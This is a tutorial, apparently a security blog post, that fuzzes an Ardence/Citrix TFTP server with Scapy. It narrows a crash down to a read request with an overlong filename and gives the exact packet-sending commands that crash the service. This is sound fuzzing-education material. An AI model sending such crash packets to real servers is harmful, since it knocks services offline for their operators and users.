I began to wonder if I could cause it to crash with my own evil packet. Of course, I could just sniff the traffic generated by Nessus, but that takes away from the challenge and it wouldn't tell me the exact portion of the packet that caused the crash.
I did a bit of research on TFTP by reading the RFC. In addition, I found that the Wikipedia article has a pretty good description as well as some nice pretty pictures. I thought the packet most likely to cause a crash would be the RRQ (read request) and specifially the filename attribute, since it has the most manipulatable data. I then fired up Scapy.
Python 2.6.5 (r265:79063, Apr 16 2010, 13:09:56)
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>>
I then took a look at the options for TFTP
>>> ls()
...
TFTP : TFTP opcode
TFTP_ACK : TFTP Ack
TFTP_DATA : TFTP Data
TFTP_ERROR : TFTP Error
TFTP_OACK : TFTP Option Ack
TFTP_Option : None
TFTP_Options : None
TFTP_RRQ : TFTP Read Request
TFTP_WRQ : TFTP Write Request
...and the specific options for RRQ.
>>> ls(TFTP_RRQ)
filename : StrNullField = ('')
mode : StrNullField = ('octet')
Now to create the packet. Remember, TFTP is UDP, and here is how we make a TFTP RRQ packet.
>>> IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(filename='aaa')
<IP frag=0 proto=udp dst=10.1.2.3 |<UDP sport=1337 dport=tftp |<TFTP op=RRQ |<TFTP_RRQ filename='aaaa' |>>>>
There are a lot of options at each later, but at a minimum we need to set the destination address and port. This creates a valid request for the file aaaa. Let's take a look at the packet by using 'ls'.
>>> ls(IP(dst='10.0.2.15')/UDP(dport=69)/TFTP()/TFTP_RRQ(filename='aaaa'))
version : BitField = 4 (4)
ihl : BitField = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField = 0 (0)
frag : BitField = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 17 (0)
chksum : XShortField = None (None)
src : Emph = '10.1.3.37' (None)
dst : Emph = '10.1.2.3' ('127.0.0.1')
options : IPoptionsField = '' ('')
--
sport : ShortEnumField = 53 (53)
dport : ShortEnumField = 69 (69)
len : ShortField = None (None)
chksum : XShortField = None (None)
--
op : ShortEnumField = 1 (1)
--
filename : StrNullField = 'aaaa' ('')
mode : StrNullField = 'octet' ('octet')
For those of you not familiar with Scapy, the rightmost column shows the default settings, and the second from the right shows the settings we are using. Now, on to fuzzing...
>>> send(IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet')))
To fuzz with scapy we just wrap a portion with fuzz(). Any properties that aren't set will contain randomly generated junk. Let's take a look, via 'ls', and see what the packet looks like.
>>> ls(IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet')))
<snip>
--
filename : StrNullField = <RandTermString> ('')
mode : StrNullField = 'octet' ('octet')
Note the value for the filename property, RandTermString. This means every time we send the packet it will generate a random string. Now to fuzz the service and see what happens.
>>> pkt = IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet'))
>>> send(pkt, loop=1)
................................................................^C
Sent 64 packets.
We use 'send' to send the packet, the 'loop' option just tells python to keep sending packets. Each time the packet is sent we have a different random file name, and within the first 64 packets the service crashed. Sweet! We have confirmed the problem is with the 'filename' attribute, now to get a bit more surgical.
After poking around with the TFTP service I noticed there is a -debug switch, which allows it to be run from the command line. This means we don't have to restart the service and we can just run the executable from the command line. This can be used to automatically restart the TFTP server.
C:\> for /L %i in (1, 0, 2) do ArdenceTFTP.exe -debug && echo ^G
This is an infinite loop, the variable %i will start at 1, be incremented by 0, and the loop will end when %i equals 2. Obviously, %i will never equal 2 so our loop will repeat forever (or until we break out of it). The executable is run with the debug option so we don't have to restart the service. The double ampersands allows the second command (echo) to run only after the first (ArdenceTFTP.exe) has completed. The echo ^G (typed with ctrl+G not caret+G) will give us a beep to alert us that the first command has exited, which in our case a crash. This will automatically restart the TFTP server and give us an audio cue when the application crashes.
In addition, we also need to turn off the notifications in Windows so we don't get notified on every crash. Normally, the prompt waits for someone to click "Close the Program" before it officially closes the program. This would seriously slow down our progress. Fortunately, there is a registry setting we can modify to turn off this feature.
C:\> reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting" /v DontShowUI /t REG_DWORD /d 1 /f
This command updates the Windows Error Reporting registry key and sets the value of DontShowUI to 1. We have to use the Force (/f) option so it will overwrite the existing value. A quick aside, you can check out some of the command line kung fu over at the Command Line Kung Fu Blog to learn how to use command line tricks to save yourself time. Now back to your regular scheduled programming...
I fired up WireShark to capture our traffic so we can look at the offending packet (yes, I know we can use Scapy, but I didn't). I then begin firing the fuzzy packets at our server.
We can use the 'inter' option with 'send' to slow down the speed at which packets are sent so we can better determine which packet crashed the TFTP server. This option 'inter' is the time in seconds to wait between each packet being sent. Thanks to your earlier command line kung fu, when we hear a beep on our Windows machine, we can stop sending packets. I like to think Windows is cursing at me when the beeping begins, but I digress.
>>> send(pkt, loop=1, inter=1)
.......^C
Sent 7 packets.
Now we save the packet capture in WireShark and open it up in Scapy using rdpcap.
>>> pkts=rdpcap('tftpkilla.pcap')
>>> pkts
<tftpkilla.pcap: TCP:0 UDP:7 ICMP:0 Other:0>
Now let's see which packet was our killer.
>>> sendp(pkts[0])
.
Sent 1 packets. <no beep>
>>> sendp(pkts[1])
.
Sent 1 packets. <no beep>
>>> sendp(pkts[2])
.
Sent 1 packets. <BEEP!!!>
We can grab just the offending packet:
>>> killa=pkts[2]
>>> sendp(killa)
Oh yeah! I can send this packet and kill the TFTP server every time!
We use 'sendp' in this case since our packet caputure has the layer 2 headers, 'send' is used when you only have layer 3 (IP) headers.
Now, let's look at some of the info on the filename.
>>> len(killa.filename)
396
Hrm...I wonder if just the length of the filename what makes our killa so potent.
>>> send(IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(mode='octet',filename="A"*396))
.
Sent 1 packets. <BEEP!!!>
Using a payload of 396 A's we can cause a crash. So the payload doesn't seem to matter, but the length does. After narrowing this down, I find that 203 bytes will cause death.
>>> send(IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(mode='octet',filename="A"*203))
Cool, so now we know the problem. What can we do from here? We could see if we can overflow a buffer and cause remote code execution, but I took a look at it with a debugger and no luck. We may not be able to take over the server, but we can make it angry.
By the way, this bug has been resolved in the most recent version of Citrix Provisioning Server.
No go out and start fuzzing yourself, but don't try this on any of your (or other people's) production services.